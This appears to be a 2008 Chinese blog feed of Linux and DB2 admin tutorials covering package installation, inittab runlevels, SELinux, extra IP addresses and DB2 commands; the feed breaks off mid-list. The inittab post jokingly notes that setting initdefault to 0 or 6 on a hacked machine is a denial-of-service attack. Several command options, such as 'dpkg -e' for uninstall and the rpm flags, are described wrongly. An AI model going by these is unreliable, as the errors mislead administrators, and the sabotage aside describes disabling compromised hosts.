<p><span>下面我就详细讲解</span><span>Linux</span><span>下如何安装软件。</span><span> <br></span><span>　　先来看看</span><span>Linux</span><span>软件扩展名。</span></p>
<p><span>软件后缀为</span><span>.rpm</span><span>最初是</span><span>Red Hat Linux</span><span>提供的一种包封装格式，</span></p>
<p><span>现在许多</span><span>Linux</span><span>发行版本都使用；后缀为</span><span>.deb</span><span>是</span><span>Debain Linux</span><span>提供的一种包封装格式；</span></p>
<p><span>后缀为</span><span>.tar.gz</span><span>、</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>是使用</span><span>Unix</span><span>系统打包工具</span><span>tar</span><span>打包的；</span></p>
<p><span>后缀为</span><span>.bin</span><span>的一般是一些商业软件。通过扩展名可以了解软件格式，进而了解软件安装。</span><span> <br></span><span>　　</span><span>RPM</span><span>格式软件包的安装</span><span> <br></span><span>　　</span><span>1.</span><span>简介</span><span><br></span><span>　　几乎所有的</span><span>Linux</span><span>发行版本都使用某种形式的软件包管理安装、更新和卸载软件。与直接从源代码安装相比，软件包管理易于安装和卸载；易于更新已安装的软件包；易于保护配置文件；易于跟踪已安装文件。</span><span> <br></span><span>　　</span><span>RPM</span><span>全称是</span><span>Red Hat Package Manager</span><span>（</span><span>Red Hat</span><span>包管理器）。</span><span>RPM</span><span>本质上就是一个包，包含可以立即在特定机器体系结构上安装和运行的</span><span>Linux</span><span>软件。</span><span>RPM</span><span>示意图见图</span><span>1</span><span>。</span><span> <br><br></span><span>　　大多数</span><span>Linux RPM</span><span>软件包的命名有一定的规律，它遵循名称</span><span>-</span><span>版本</span><span>-</span><span>修正版</span><span>-</span><span>类型－</span><span>MYsoftware-1.2 -1.i386.rpm </span><span>。</span><span> <br><br></span><span>　　</span><span>2.</span><span>安装</span><span>RPM</span><span>包软件</span><span> <br></span><span>　　＃　</span><span>rpm -ivh MYsoftware-1.2 -1.i386.rpm <br><br></span><span>　　</span><span>RPM</span><span>命令主要参数：</span><span> <br><br></span><span>　　</span><span>-i </span><span>安装软件。</span><span><br></span><span>　　</span><span>-t </span><span>测试安装，不是真的安装。</span><span> <br></span><span>　　</span><span>-p </span><span>显示安装进度。</span><span><br></span><span>　　</span><span>-f </span><span>忽略任何错误。</span><span><br></span><span>　　</span><span>-U </span><span>升级安装。</span><span><br></span><span>　　</span><span>-v </span><span>检测套件是否正确安装。</span><span><br></span><span>　　　　这些参数可以同时采用。更多的内容可以参考</span><span>RPM</span><span>的命令帮助。</span><span> <br></span><span>　　</span><span>3.</span><span>卸载软件</span><span> <br></span><span>　　＃　</span><span>rpm -e </span><span>软件名</span><span> <br></span><span>　　需要说明的是，上面代码中使用的是软件名，而不是软件包名。例如，要卸载</span><span>software-1.2.-1.i386.rpm</span><span>这个包时，应执行：</span><span><br></span><span>　　＃</span><span>rpm -e software <br>4.</span><span>强行卸载</span><span>RPM</span><span>包</span><span><br></span><span>　　有时除去一个</span><span>RPM</span><span>是不行的，尤其是系统上有别的程序依赖于它的时候。如果执行命令会显示如下错误信息：</span><span> <br></span><span>　　＃</span><span># rpm -e xsnow<br></span><span>　　</span><span>error: removing these packages would break dependencies:<br></span><span>　　</span><span>/usr/X11R6/bin/xsnow is needed by x-amusements-1.0-1<br></span><span>　　在这种情况下，可以用</span><span>--force</span><span>选项重新安装</span><span>xsnow</span><span>：</span><span> <br></span><span>　　＃</span><span># rpm -ivh --force xsnow-1.41-1.i386.rpm<br></span><span>　　</span><span>xsnow<br></span><span>　这里推荐使用工具软件</span><span>Kleandisk</span><span>，用它可以安全彻底清理掉不再使用的</span><span>RPM</span><span>包。</span><span><br></span><span>　　</span><span>5.</span><span>安装</span><span>.src.rpm</span><span>类型的文件</span><span><br></span><span>　　目前</span><span>RPM</span><span>有两种模式，一种是已经过编码的（</span><span>i386.rpm</span><span>），一种是未经编码的（</span><span>src.rpm</span><span>）。</span><span><br></span><span>　　</span><span>rpm --rebuild Filename.src.rpm <br></span><span>　　这时系统会建立一个文件</span><span>Filenamr.rpm</span><span>，在</span><span>/usr/src/redflag/RPMS/</span><span>子目录下，一般是</span><span>i386</span><span>，具体情况和</span><span>Linux</span><span>发行版本有关。然后执行下面代码即可：</span><span><br></span><span>　　</span><span>rpm -ivh /usr/src/regflag/RPMS/i386/Filename.rpm <br></span><span>　　使用</span><span>deb</span><span>打包的软件安装</span><span> <br></span><span>　　</span><span>deb</span><span>是</span><span>Debian Linux</span><span>提供的一个包管理器，它与</span><span>RPM</span><span>十分类似。但由于</span><span>RPM</span><span>出现得早，并且应用广泛，所以在各种版本的</span><span>Linux</span><span>中都常见到，而</span><span>Debian</span><span>的包管理器</span><span>dpkg</span><span>只出现在</span><span>Debina Linux</span><span>中。它的优点是不用被严格的依赖性检查所困扰，缺点是只在</span><span>Debian Linux</span><span>发行版中才能见到这个包管理工具。</span><span> <br></span><span>　　</span><span>1. </span><span>安装</span><span><br></span><span>　　＃　</span><span>dpkg -i MYsoftware-1.2.-1.deb <br></span><span>　　</span><span>2. </span><span>卸载</span><span><br></span><span>　　＃　</span><span>dpkg -e MYsoftware <br></span><span>　　使用源代码进行软件安装</span><span> <br></span><span>　　和</span><span>RPM</span><span>安装方式相比，使用源代码进行软件安装会复杂一些，但是用源代码安装软件是</span><span>Linux</span><span>下进行软件安装的重要手段，也是运行</span><span>Linux</span><span>的最主要的优势之一。使用源代码安装软件，能按照用户的需要选择定制的安装方式进行安装，而不是仅仅依靠那些在安装包中的预配置的参数选择安装。另外，仍然有一些软件程序只能从源代码处进行安装。</span><span> <br></span><span>　　现在有很多地方都提供源代码包，到底在什么地方获得取决于软件的特殊需要。对于那些使用比较普遍的软件，如</span><span>Sendmail</span><span>，可以从商业网站处下载源代码软件包（如</span><span>http://www.sendmail.org </span><span>）。一般的软件包，可从开发者的</span><span>Web</span><span>站点下载。下面介绍一下安装步骤：</span><span> <br></span><span>　　</span><span>1.</span><span>解压数据包</span><span><br></span><span>　　源代码软件通常以</span><span>.tar.gz</span><span>做为扩展名</span><span>,</span><span>也有</span><span>tar.Z</span><span>、</span><span>tar.bz2</span><span>或</span><span>.tgz</span><span>为扩展名的。不同扩展名解压缩命令也不相同，见表</span><span>1</span><span>。</span><span>
<table cellSpacing=1 cellPadding=1 width=301 border=1>
    <tbody>
        <tr>
            <td>&nbsp;压缩包类型</td>
            <td>&nbsp;解压缩命令</td>
        </tr>
        <tr>
            <td>&nbsp;.gz</td>
            <td>&nbsp;gunzip</td>
        </tr>
        <tr>
            <td>&nbsp;.z</td>
            <td>&nbsp;uncompress</td>
        </tr>
        <tr>
            <td>&nbsp;.zip</td>
            <td>&nbsp;unzip</td>
        </tr>
        <tr>
            <td>&nbsp;.bz2</td>
            <td>&nbsp;bunzip2</td>
        </tr>
    </tbody>
</table>
<br></span><span>　　</span><span><br></span><span>　　</span><span>2.</span><span>编译软件</span><span><br></span><span>　　成功解压缩源代码文件后，进入解包的目录。在安装前阅读</span><span>Readme</span><span>文件和</span><span>Install</span><span>文件。尽管许多源代码文件包都使用基本相同的命令，但是有时在阅读这些文件时能发现一些重要的区别。例如，有些软件包含一个可以安装的安装脚本程序（</span><span>.sh</span><span>）。在安装前阅读这些说明文件，有助于安装成功和节约时间。</span><span> <br></span><span>　　在安装软件以前要成为</span><span>root</span><span>用户。实现这一点通常有两种方式：在另一台终端以</span><span>root</span><span>用户登录，或者输入</span><span>&#8220;su&#8221;</span><span>，此时系统会提示输入</span><span>root</span><span>用户的密码。输入密码以后，就将一直拥有</span><span>root</span><span>用户的权限。如果已经是</span><span>root</span><span>用户，那就可以进行下一步。</span><span> <br></span><span>通常的安装方法是从安装包的目录执行以下命令：</span><span> <br></span><span>　　</span><span>gunzip soft1.tar.gz<br></span><span>　　</span><span>cd soft1<br></span><span>　　＃</span><span>. /configure </span><span>＃配置＃</span><span><br></span><span>　　</span><span>make </span><span>＃调用</span><span>make</span><span>＃</span><span><br></span><span>　　</span><span>make install </span><span>＃安装源代码＃</span><span><br></span><span>　　删除安装时产生的临时文件：</span><span><br></span><span>　　＃</span><span>make clean <br></span><span>　　卸载软件：</span><span><br></span><span>　　＃</span><span>make uninstall <br></span><span>　　有些软件包的源代码编译安装后可以用</span><span>make uninstall</span><span>命令卸载。如果不提供此功能，则软件的卸载必须手动删除。由于软件可能将文件分散地安装在系统的多个目录中，往往很难把它删除干净，应该在编译前进行配置。</span><span> <br></span><span>　　</span><span>.bin</span><span>文件安装</span><span> <br></span><span>　　扩展名为</span><span>.bin</span><span>文件是二进制的，它也是源程序经编译后得到的机器语言。有一些软件可以发布为以</span><span>.bin</span><span>为后缀的安装包，例如，流媒体播放器</span><span>RealONE</span><span>。如果安装过</span><span>RealONE</span><span>的</span><span>Windows</span><span>版的话，那么安装</span><span>RealONE for Linux</span><span>版本</span><span>(</span><span>文件名：</span><span>r1p1_linux22_libc6_i386_a1.bin)</span><span>就非常简单了：</span><span><br></span><span>　　＃</span><span>chmod +x r1p1_linux22_libc6_i386_a1.bin<br></span><span>　　</span><span>./ r1p1_linux22_libc6_i386_a1.bin <br></span><span>　　接下来选择安装方式，有普通安装和高级安装两种。如果不想改动安装目录，就可选择普通安装，整个安装过程几乎和在</span><span>Windwos</span><span>下一样。</span><span> <br></span><span>　</span><span>.bin</span><span>文件的卸载，以</span><span>RealONE for Linux</span><span>为例，如果采用普通安装方式的话，在用户主目录下会有</span><span>Real</span><span>和</span><span>Realplayer9</span><span>两个文件夹，把它们删除即可。</span><span> <br></span><span>　　</span><span>Linux</span><span>绿色软件</span><span> <br></span><span>　　</span><span>Linux</span><span>也有一些绿色软件，不过不是很多。</span><span>Linux</span><span>系统提供一种机制：自动响应软件运行进程的要求</span><span>,</span><span>为它设定好可以马上运行的环境。这种机制可以是一种接口，或者是中间件。程序员编写的程序可以直接拷贝分发，不用安装，只要点击程序的图标，访问操作系统提供的接口，设定好就可以工作。若要删除软件，直接删除就可以</span><span>,</span><span>不用链接文件。这是最简单的软件安装、卸载方式。</span><span> <br></span><span>　　上面介绍了</span><span>Linux</span><span>软件安装的方法，对于</span><span>Linux</span><span>初学者来说，</span><span>RPM</span><span>安装是一个不错的选择。如果想真正掌握</span><span>Linux</span><span>系统，源代码安装仍然是</span><span>Linux</span><span>下软件安装的重要手段</span></p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48493.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:06 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48493.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>linux inittab详解</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 14:03:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48492.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48492.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48492.html</trackback:ping><description><![CDATA[一、什么是init<br><br>　　init是Linux系统操作中不可缺少的程序之一。 是一个由内核启动的用户级进程。<br><br>　　内核启动（已经被载入内存，开始运行，并已初始化所有的设备驱动程序和数据结构等）之后，就通过启动一个用户级程序init的方式来启动其他用户级的进程或服务。所以，init始终是第一个进程（其PID始终为1）。<br><br>　　内核会在过去曾使用过init的几个地方查找它，它的正确位置（对Linux系统来说）是/sbin/init.如果内核找不到init，它就会试着运行/bin/sh，如果运行失败，系统的启动也会失败。<br><br>二、运行级别<br><br>　　运行级就是操作系统当前正在运行的功能级别。这个级别从1到6，具有不同的功能。其功能级别如下：# 0 - 停机（千万不能把initdefault 设置为0 ）<br><br>本贴相关代码：<br><br>　　# 1 - 单用户模式# 2 - 多用户，没有 NFS # 3 - 完全多用户模式（标准的运行级）<br><br>　　# 4 - 没有用到# 5 - X11 （xwindow）<br><br>　　# 6 - 重新启动 （千万不要把initdefault 设置为6——把被你黑掉的linux的initdefault设置为0或6也算是拒绝服务攻击噢！）<br><br><br>　　除此之外还有ABC三个运行级别，但在RHLinux中都没有意义。<br><br>　　这些级别在/etc/inittab 文件里指定。这个文件是init 程序寻找的主要文件，最先运行的服务是放在/etc/rc.d 目录下的文件。在大多数的Linux 发行版本中，启动脚本都是位于 /etc/rc.d/init.d中的。这些脚本被用ln 命令连接到 /etc/rc.d/rcn.d 目录。（这里的n 就是运行级0-6）<br><br>三、运行级别的配置<br><br>　　运行级别的配置是在 /etc/inittab行内进行的，如下所示：12 ： 2 ： wait： /etc/init.d/rc2各字段解释如下：id：runlevels：action：process id：是一个任意指定的四个字符以内的序列标号，在本文件内必须唯一；使用老版本的libc5（低于5.2.18）或a.out库编译出来的 sysvinit限制为2字符。注意：像getty之类的登陆进程必须使id字段与tty编号一致，如tty1需要id=1，许多老版本的登陆进程都遵循这种规则。<br><br>　　runlevels：表示这一行适用于运行那个/些级别（这里是2，可以有多个，表示在相应的运行级均需要运行）；另外sysinit、boot、bootwait这三个进程会忽略这个设置值。<br><br>　　action：表示进入对应的runlevels时，init应该运行process字段的命令的方式，常用的字段值及解释在附录内。例子中的wait表示需要运行这个进程一次并等待其结束。<br><br>　　process：具体应该执行的命令。例子中的/etc/init.d/rc命令启动运行级别2中应该运行的进程/命令，并负责在退出运行级时将其终止（当然在进入的runlevel中仍要运行的程序除外。）<br><br>　　当运行级别改变，并且正在运行的程序并没有在新的运行级别中指定需要运行，那么init会先发送一个SIGTERM 信号终止，然后是SIGKILL.<br><br>　　有效的action值如下：respawn：表示init应该监视这个进程，即使其结束后也应该被重新启动。<br><br>　　wait：init应该运行这个进程一次，并等待其结束后再进行下一步操作。<br><br>　　once：init需要运行这个进程一次。<br><br>　　boot：随系统启动运行，所以runlevel值对其无效。<br><br>　　bootwait：随系统启动运行，并且init应该等待其结束。<br><br>　　off：没有任何意义。<br><br>　　initdefault：系统启动后的默认运行级别；由于进入相应的运行级别会激活对应级别的进程，所以对其指定process字段没有任何意义。如果inittab文件内不存在这一条记录，系统启动时在控制台上询问进入的运行级。<br><br>　　sysinit：系统启动时准备运行的命令。比如说，这个命令将清除/tmp.可以查看/etc/rc.d/rc.sysinit脚本了解其运行了那些操作。<br><br>　　powerwait：允许init在电源被切断时，关闭系统。当然前提是有U P S和监视U P S并通知init电源已被切断的软件。RH linux默认没有列出该选项。<br><br>　　powerfail：同powerwait，但init不会等待正在运行的进程结束。RH linux默认没有列出该选项。<br><br>　　powerokwait：当电源监视软件报告&#8220;电源恢复&#8221;时，init要执行的操作。<br><br>　　powerfailnow：检测到ups电源即将耗尽时，init要执行的操作，和powerwait/powerfail不同的哟。<br><br>　　ctrlaltdel：允许init在用户于控制台键盘上按下Ctrl + Alt + Del组合键时，重新启动系统。注意，如果该系统放在一个公共场所，系统管理员可将Ctrl + Alt + Del组合键配置为别的行为，比如忽略等。我是设置成打印一句骂人的话了^o^. kbrequest：监视到特定的键盘组合键被按下时采取的动作，现在还不完善。<br><br>　　ondemand：A process marked with an ondemand runlevel will be executed whenever the specified ondemand runlevel is called. However， no runlevel change will occur （ondemand runlevels are &#8216;a&#8217;， &#8216;b&#8217;，and &#8216;c&#8217;），（英语太菜，那个however不知道该怎么翻译才好。惭愧！）<br><br>　　补充：<br>　　<br>　　1、关于进入单用户模式，一般都是采用设置initdefault为1或者在grub/lilo中指定一个&#8220;single&#8221;或&#8220;emergency&#8221; 命令行参数来实现。其实另外还有一个更干净的方法，编辑：kernel /vmlinuz-2.6.9-22.EL ro root=/bin/sh，这样init就直接启动一个shell，其他任何进程都没有启动哦，够干净吧！<br><br>　　2、系统正在运行时，telinit命令可更改运行级别。运行级别发生变化时， init 就会从/etc/inittab运行相应的命令 
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48492.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 22:03 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48492.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>RedHat SELinux系统简介及案例分析</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:57:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48491.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48491.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48491.html</trackback:ping><description><![CDATA[<p style="TEXT-INDENT: 2em">一、SELinux简介 </p>
<p style="TEXT-INDENT: 2em">RedHat Enterprise Linux AS 3.0/4.0中安全方面的最大变化就在于集成了SELinux的支持。 </p>
<p style="TEXT-INDENT: 2em">SELinux的全称是Security-Enhanced Linux，是由美国国家安全局NSA开发的访问控制体制。 </p>
<p style="TEXT-INDENT: 2em">SELinux可以最大限度地保证Linux系统的安全。至于它的作用到底有多大，举一个简单的例子可以证明： </p>
<p style="TEXT-INDENT: 2em">没有SELinux保护的Linux的安全级别和Windows一样，是C2级，但经过保护SELinux保护的Linux，安全级别 </p>
<p style="TEXT-INDENT: 2em">则可以达到B1级。如：我们把/tmp目录下的所有文件和目录权限设置为0777，这样在没有SELinux保护的情 </p>
<p style="TEXT-INDENT: 2em">况下，任何人都可以访问/tmp 下的内容。而在SELinux环境下，尽管目录权限允许你访问/tmp下的内容， </p>
<p style="TEXT-INDENT: 2em">但SELinux的安全策略会继续检查你是否可以访问。 </p>
<p style="TEXT-INDENT: 2em">NSA推出的SELinux安全体系结构称为 Flask，在这一结构中，安全性策略的逻辑和通用接口一起封装在与 </p>
<p style="TEXT-INDENT: 2em">操作系统独立的组件中，这个单独的组件称为安全服务器。SELinux的安全服务器定义了一种混合的安全性 </p>
<p style="TEXT-INDENT: 2em">策略，由类型实施 (TE)、基于角色的访问控制 (RBAC) 和多级安全(MLS) 组成。通过替换安全服务器，可 </p>
<p style="TEXT-INDENT: 2em">以支持不同的安全策略。SELinux使用策略配置语言定义安全策略，然后通过checkpolicy 编译成二进制形 </p>
<p style="TEXT-INDENT: 2em">式，存储在文件(如目标策略/etc/selinux/targeted/policy/policy.18)中，在内核引导时读到内核空间 </p>
<p style="TEXT-INDENT: 2em">。这意味着安全性策略在每次系统引导时都会有所不同。 </p>
<p style="TEXT-INDENT: 2em">SELinux的策略分为两种，一个是目标(targeted)策略，另一个是严格(strict)策略。有限策略仅针对部分 </p>
<p style="TEXT-INDENT: 2em">系统网络服务和进程执行SELinux策略，而严厉策略是执行全局的NSA默认策略。有限策略模式下，9个（可 </p>
<p style="TEXT-INDENT: 2em">能更多）系统服务受SELinux监控，几乎所有的网络服务都受控。 </p>
<p style="TEXT-INDENT: 2em">配置文件是/etc/selinux/config，一般测试过程中使用&#8220;permissive&#8221;模式，这样仅会在违反SELinux规 </p>
<p style="TEXT-INDENT: 2em">则时发出警告，然后修改规则，最后由用户觉得是否执行严格&#8220;enforcing&#8221;的策略，禁止违反规则策略的 </p>
<p style="TEXT-INDENT: 2em">行为。 </p>
<p style="TEXT-INDENT: 2em">规则决定SELinux的工作行为和方式，策略决定具体的安全细节如文件系统，文件一致性。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">在安装过程中，可以选择&#8220;激活&#8221;、&#8220;警告&#8221;或者&#8220;关闭&#8221;SELinux。默认设置为&#8220;激活&#8221;。 </p>
<p style="TEXT-INDENT: 2em">安装之后，可以在&#8220;应用程序&#8221;--&gt;&#8220;系统设置&#8221;--&gt;&#8220;安全级别&#8221;，或者直接在控制台窗口输入&#8220;system </p>
<p style="TEXT-INDENT: 2em">-config- securitylevel&#8221;来打开&#8220;安全级别&#8221;设置窗口。在&#8220;SELinux&#8221;选项页中，我们不但可以设置&#8220; </p>
<p style="TEXT-INDENT: 2em">启用&#8221;或者&#8220;禁用&#8221;SELinux，而且还可以对已经内置的SELinux策略进行修改。 </p>
<p style="TEXT-INDENT: 2em">SELinux相关命令： </p>
<p style="TEXT-INDENT: 2em">ls -Z </p>
<p style="TEXT-INDENT: 2em">ps -Z </p>
<p style="TEXT-INDENT: 2em">id -Z </p>
<p style="TEXT-INDENT: 2em">分别可以看到文件,进程和用户的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">chcon 改变文件的SELinux属性。 </p>
<p style="TEXT-INDENT: 2em">getenforce/setenforce查看和设置SELinux的当前工作模式。 </p>
<p style="TEXT-INDENT: 2em">修改配置文件/etc/selinux/config后，需要重启系统来启动SELinux新的工作模式。 </p>
<p style="TEXT-INDENT: 2em">&nbsp;</p>
<p style="TEXT-INDENT: 2em">二、案例分析 </p>
<p style="TEXT-INDENT: 2em">Apache - "Document root must be a directory" 问题？ </p>
<p style="TEXT-INDENT: 2em">有可能和这个问题并发的问题还有 403 Forbidden　禁止访问的问题。 </p>
<p style="TEXT-INDENT: 2em">现象描述： </p>
<p style="TEXT-INDENT: 2em">不使用系统默认的 /var/www/html作为系统的Document Root，自己新建一个目录后修改 </p>
<p style="TEXT-INDENT: 2em">/etc/httpd/conf/httpd.conf 中的配置，然后重起Apache的Daemon，发现Apache无法起动，系统报错： </p>
<p style="TEXT-INDENT: 2em">　　Document root must be a directory </p>
<p style="TEXT-INDENT: 2em">但是，我们设置的DocumentRoot 的确是一个目录，而且apache用户具有可读权限。 </p>
<p style="TEXT-INDENT: 2em">另一种情况：新建一个虚拟目录或文件后，无法访问，显示 Forbidden, 403 Error，但文件或目录有可读 </p>
<p style="TEXT-INDENT: 2em">权限。 </p>
<p style="TEXT-INDENT: 2em">问题产生的原因： </p>
<p style="TEXT-INDENT: 2em">一开始想来想去想不出为什么，但是给我感觉是权限的问题，用传统的Linux的思维方式来看，权限绝对没 </p>
<p style="TEXT-INDENT: 2em">有问题。但是仔细一想，SELinux是不是会有其他安全的设定？ </p>
<p style="TEXT-INDENT: 2em">检查 avcmessage，查看 /var/log/messages文件，发现有类似以下内容的这样一段： </p>
<p style="TEXT-INDENT: 2em">Dec 24 17:54:59 hostname kernel: audit(1098222899.827:0): avc: </p>
<p style="TEXT-INDENT: 2em">denied{ getattr } forpid=19029 exe=/usr/sbin/httpd </p>
<p style="TEXT-INDENT: 2em">path=/var/www/html/about.html dev=dm-0 ino=373900 </p>
<p style="TEXT-INDENT: 2em">scontext=root:system_r:httpd_t tcontext=user_u:object_r:user_home_t </p>
<p style="TEXT-INDENT: 2em">tclass=file </p>
<p style="TEXT-INDENT: 2em">嘿嘿，问题找到了，果然是SELinux的新特性搞的鬼。我把目录或文件设成了user_home_t类型，因此 </p>
<p style="TEXT-INDENT: 2em">apache的进程没有权限，无法访问。针对Apache的进程所使用的SELinux target policy规定了apache的进 </p>
<p style="TEXT-INDENT: 2em">程只能访问httpd_sys_content_t类型的目录或文件。 </p>
<p style="TEXT-INDENT: 2em">解决办法： </p>
<p style="TEXT-INDENT: 2em">很简单，把目录或文件的策略类型改成 httpd_sys_content_t 就可以了。 </p>
<p style="TEXT-INDENT: 2em"># chcon -t httpd_sys_content_t [file_name | dir_name] </p>
<p style="TEXT-INDENT: 2em">然后可以用 ls -laZ 命令查看文件目录的策略类型</p>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48491.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:57 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48491.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在linux下配置一个网卡多个IP的方法</title><link>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Thu, 28 Aug 2008 13:51:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/48490.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/48490.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/48490.html</trackback:ping><description><![CDATA[<span style="FONT-SIZE: 12pt">第一种方法:<br>ifconfig eth0:1 192.168.5.129 netmask 255.255.255.0<br>然后,你用ifconfig,就会发现多了一个ip,但这个ip是暂时的,重启以后就不存在了<br><br>第二种方法<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth0:2<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth0:2<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth0:2<br>更改一下ip<br>保存退出并重启网络就ok了.这条新加的ip是永久的,只要你不删掉它.<br><br><br></span><span style="FONT-SIZE: 12pt">在linux下配置多个网卡的方法:<br></span><span style="FONT-SIZE: 12pt">cp /etc/sysconfig/network-script..s/ifcfg-eth0 /etc/sysconfig/network-script..s/ifcfg-eth1<br>vi </span><span style="FONT-SIZE: 12pt">/etc/sysconfig/network-script..s/ifcfg-eth1<br>将DEVICE=eth0&nbsp; 更改为DEVICE=eth1<br>更改一下ip 等<br>保存退出并重启网络就ok了.<br></span>
<img src ="http://www.cnitblog.com/szdlinxie/aggbug/48490.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/szdlinxie/" target="_blank">szdlinxie</a> 2008-08-28 21:51 <a href="http://www.cnitblog.com/szdlinxie/archive/2008/08/28/48490.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DB2常用命令集</title><link>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html</link><dc:creator>szdlinxie</dc:creator><author>szdlinxie</author><pubDate>Tue, 21 Aug 2007 13:33:00 GMT</pubDate><guid>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html</guid><wfw:comment>http://www.cnitblog.com/szdlinxie/comments/32165.html</wfw:comment><comments>http://www.cnitblog.com/szdlinxie/archive/2007/08/21/32165.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/szdlinxie/comments/commentRss/32165.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/szdlinxie/services/trackbacks/32165.html</trackback:ping><description><![CDATA[<p>DB2常用命令集</p>
<p>*************************************************<br>　<br>关闭db2</p>
<p>db2stop 或</p>
<p>db2stop force。</p>
<p>在脚本中一般两个都写上，避免使用db2stop force命令，如：</p>
<p>db2stop</p>
<p>db2stop force</p>
<p>启动db2</p>
<p>db2start</p>
<p>创建数据库</p>
<p>db2 create db &lt;db name&gt;</p>
<p>或db2 create db using codeset GBK territory CN</p>
<p>删除数据库</p>
<p>执行此操作要小心。</p>
<p>db2 drop db &lt;db name&gt;</p>
<p>如果不能删除，断开所有数据库连接或者重启db2。</p>
<p>断开数据库连接</p>
<p>db2 force application all</p>
<p>连接数据库</p>
<p>db2 connect to &lt;db name&gt; user &lt;username&gt; using &lt;password&gt;</p>
<p>断开数据库连接</p>
<p>断开当前数据库连接：db2 connect reset</p>
<p>或者：db2 disconnect current</p>
<p>断开所有数据库的连接：db2 disconnect all</p>
<p>备份数据库</p>
<p>db2 backup db &lt;db name&gt; </p>
<p>备注：执行以上命令之前需要断开数据库连接</p>
<p>恢复数据库</p>
<p>db2 restore db &lt;source db name&gt;</p>
<p>导出数据文件</p>
<p>db2move &lt;db name&gt; export [-sn &lt;模式名称，一般为db2admin&gt;] [-tn&nbsp; &lt;表名，多个之间用逗号分隔&gt;]</p>
<p>导入数据文件</p>
<p>db2move &lt;db name&gt; import</p>
<p>列出数据库中所有db</p>
<p>db2 list db directory</p>
<p>进入db2命令环境</p>
<p>在&#8220;运行&#8221;中执行：db2cmd </p>
<p>获取db2数据库管理配置环境信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>db2 get dbm cfg</p>
<p>获取db2某个数据库数据库管理配置环境信息&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>
<p>db2 get db cfg for &lt;db name&gt;</p>
<p>或者：连接至某个数据库以后执行db2 get db cfg。</p>
<p>设置联合数据库为可用（默认联合数据库不可用）</p>
<p>db2 update dbm cfg using federated yes</p>
<p>更改db2日志空间的大小</p>
<p>备注：以下命令为了防止db2数据库过份使用硬盘空间而设，仅用于开发者自己机器上的db2，如果是服务器，则参数需要修改。</p>
<p>db2 UPDATE DB CFG FOR &lt;db name&gt; USING logretain OFF logprimary 3 logsecond 2 logfilsiz 25600;</p>
<p>如果页大小是4KB，则以上命令创建3个100M的日志文件，占用300MB硬盘空间。25600*4KB=102400KB。</p>
<p>创建临时表空间</p>
